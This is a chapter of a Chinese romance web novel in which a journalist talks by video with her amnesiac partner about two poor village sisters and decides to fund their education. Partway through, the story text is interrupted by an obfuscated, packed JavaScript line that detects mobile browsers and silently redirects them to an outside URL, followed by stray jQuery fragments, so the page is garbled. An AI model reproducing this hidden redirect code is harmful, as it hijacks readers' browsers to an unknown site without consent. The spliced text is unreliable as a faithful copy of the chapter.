当天晚上睡觉前,林嘉言靠在枕头上和江令宸视频聊天,把田玉凤田玉燕两姐妹之间的事一五一十告诉了他。
“田奶奶回来之后,她们就像什么都没发生过一样。”林嘉言回想细节,“阿燕偷偷跟我说,阿凤以前也想嫁到镇上去,城里的那些学生过来交流了半个月后,‘让她多了很多小心思’。”
以前在各种报道里,或是从一些毕业后选择当支教老师和扶贫干部的同学口中,林嘉言或多或少看到过相关的案例。
比如偏远山区的家庭,常常有让正在念中学的女儿嫁给大自己十几岁甚至二十几岁的老光棍以换几千块钱彩礼的现象。
又比如一些地方“重男轻女”思想严重,嫁过去的女孩如果没生下儿子,生存的压力就会变得更大。
那些不曾亲自接触到的东西,在听说的时候已经让林嘉言震惊了,但那种震惊远远不及亲耳听到时让她觉得震撼。
她从小是被父母呵护着的独生女,虽然不算是什么大富大贵之家,但小康家庭从来没有让她体会过没钱的恐惧。
她的自由不需要通过讨好谁来换取,家人对她的爱也没有任何条件。
即使她的共情能力极强,来之前却也无法想象这里的孩子们正遭受着什么。
无论是田玉凤还是田玉燕,所思所想的都是在既定的认知框架里做出自己认为最有效的抗争。
田玉燕认为反正女孩子最终都要嫁人伺候男人,倒不如嫁一个有钱的,好让自己不再为金钱苦恼,连带着解决原生家庭的根本问题。
田玉凤则是有了更深的见解,她想过靠自己的努力摆脱出身的束缚,但又迷茫自己是否能做到。
历史经验使然,田玉凤将自己摆在一个很低的位置,拒绝一切“比自己阶级更高”的人的示好。
“我觉得她们的想法都是不对的。”林嘉言无可奈何,“但我没有任何办法说服她们,我的语气稍有任何不注意,就变成了何不食肉糜的说教。”
她连连叹气:“阿燕还小,接收到的信息都来自小小的村里。如果她有机会到外面看看,兴许很快就会改变想法。”
“阿凤已经改变了想法,却又陷入了自卑的心态中。”林嘉言眉头紧皱,“她会不会见识越多,越发现自己和别人的差距,于是更加自卑呢?”
她是个容易共情被采访者的采访者,前两天开会沟通当日进展时,胡若依曾点评过她这样的性格适合感性的文学,不适合理性的客观报道。
“你提到的阿凤,应该很在乎城里来的几个朋友吧。”江令宸换了另一个角度分析,“对本身就自卑的人来说,越在意对方,不配得感就越强烈。”
“不配得感?”她并非不知道这个网络用语,只是惊讶于江令宸怎么会提到这个词。
“是啊,根源就是自卑。不敢接受优秀的人主动靠近自己,即使确定人际关系之后,也会对自己产生深深的怀疑。对这些人来说,对方对自己越好,越会觉得恐惧和内耗,于是总想比对方付出得更多,否则难以接受别人的好。”
“江?”
江令宸没听到林嘉言小声的呼唤,继续说道:“当自己无力承担别人的友善时,就会变得痛苦。这种痛苦不是来源于对方,而是自己折磨自己。既害怕对方觉得自己付出不够而收回善意,又会为了对方表现出的善意陷入无端的自责。”
“听上去似乎是过度敏感造成的。”林嘉言打断他的话,“江,你平时都从哪里刷的新闻、看的什么书呀,怎么都开始研究心理学了呢?”
“我……”江令宸噤声。
“唉……”林嘉言再次叹气,“即使你把你了解的东西告诉我,我们也还是一样浮在表象,都没经历过你说的不配得感。我不知道该怎么安慰阿凤,不知道怎么改变她的想法。”
“我知道不配得感是一种什么感觉!”
林嘉言愣了一下,笑道:“你别告诉我在你醒来后的这几个月里,觉得我对你太好了,从而产生了自卑?”
她也没觉得他有什么不敢接受她对他的那些付出的地方呀。
“不是那样的……”
江令宸顿了顿,没继续往下说不是哪样的。
他转移话题:“言言,你不是心理老师,也不是扶贫干部,你只是以采访者的身份,客观地报道她们的故事,并不需要对她们的人生负责。”
林嘉言睁大眼睛盯着屏幕上的人,失忆竟然让他变得如此冰冷,如此理解不了她的心情。
失落感没持续太久,手机里传出他未曾改变的声音:“可我知道,既然你遇见了,就会尽全力伸出手拉对方一把。你可以带她们见识到更广阔的世界,我可以让你在做这些事情时毫无后顾之忧。”
“你知道我想干什么……”
江令宸点点头。
她是善良的人,温柔与侠气并不矛盾,两种特质在她的身上交叠。她无法帮助所有需要帮助的孩子们,可既然缘分让她遇上了,她一定会想成为能够托举她们的力量。
“我会资助三姐弟,直到他们完成学业。”这对她的经济条件来说并不困难,但她仍想首先得到江令宸的认可。
“好。”江令宸全力支持,“如果你还有进一步的决定,都去做吧。”
林嘉言仍有不安:“只是……阿燕和小满年纪小,能减轻生活负担对他们来说是很开心的事情。可阿凤的自尊心太强,我担心我自以为是的帮助对她来说反而是负担。”
“这还不简单么?”江令宸露出笑容,“高自尊的自卑人士最大的优点就是不服输,让她别输给你,她就不会向命运低头了。”
林嘉言心中的石头放下大半,她决定第二天就去跟胡若依商量资助事宜。
如果条件允许,除了三姐弟外,她也愿意承担他们这组所有采访对象未来的全部学费。
“言言,你的声音总算变得轻快了。”
江令宸被林嘉言脸上的喜悦感染,但也谨慎提醒道:“资助的事不光是给钱,直接给钱别人未必会感谢你。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110212|170576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“嗯,我明白的。”她的心情变得很好,“我会找机会跟阿凤再聊聊,咱们资助她上学,并不是施舍,而是不愿让那么优秀的一个女生,错过了人生的无数种可能。”
林嘉言不再说话,只是透过屏幕看着江令宸,脑海里闪过许多回忆。
好像从很久以前就是这样了——他明明对动物毛发过敏,但还是会在她捡到流浪狗时,戴着口罩陪她将流浪狗带去做驱虫、打疫苗,最后再把狗狗连同大袋狗粮物资交给流浪狗救助中心。
即使他的工作很忙,然而在她每次到孤儿院参加志愿活动时,他也会想办法抽出时间当她的劳动苦力。
林嘉言知道他并没多大的兴趣做这些事情——商人的善心更适合用在慈善晚宴的社交上,他努力拓展人脉,名利场上的慈善显然更符合他的需求。
她在他的逐利之外,更像是被他小心翼翼保护起来的美好幻象。无论她想做什么,他总是无条件支持。
以前她认为这显得过于客套和生分了,好比大多数人对关系尚可但又没那么亲密的好友,比起感情最好的密友,更难说出拒绝的话来。
现在再仔细想想,这又何尝不是一种无底线的纵容?只要是她想做的,江令宸总能一下子明白她的真实意图,无论她出于什么目的,他对她向来只有认同。
即使失忆了,他仍是如此待她。
江令宸也在静静地看着林嘉言。
“江,你还有话想跟我说吗?”
“言言,我还有话想跟你说。”
两人几乎异口同声。话音落下,同时为这默契大笑起来。
“你说嘛,有话就说。”
江令宸抬头看了一眼窗外,路灯下飘雪纷纷,天地间过于安静。
他问道:“今天平良镇的天气还好吗?”
“这个问题早上你已经问过了。”林嘉言翻了个身,早上起床时,她就已经拍下明媚的朝阳发给他,得到了他拍的雪景作为回礼。“S市下雪了,但这里从没下过雪。阿燕问我雪是什么样子的,我把你拍的照片给孩子们看了。”
他又问道:“今天你的心情怎么样,开心吗?”
林嘉言盯着江令宸躲闪的眼睛,直截了当地打断了他的问题,直奔他其实想说的主题:“江,我今天也很想你。”
“我没……”
“你直接告诉我,你想不想我就行了。”
江令宸的脸上出现了可疑的红,在视频通话软件自带的美颜效果中更加明显。
这几天他总是拐弯抹角地向她确认这个问题,以至于刚开口问第一个已经问过的内容时,她就知道他最终想问的究竟是什么。
不知为什么,江令宸慢慢变得收敛,不再像前几个月那样热情奔放,不再肆意地向她表达他满腔的爱意。
但他也绝非回到了失忆前的模样,那时候的他从没说过他想她,更没说过他爱他。
失忆前的江令宸,绝对不会坦诚地承认:“言言,我很想你,今天比昨天更想你了。”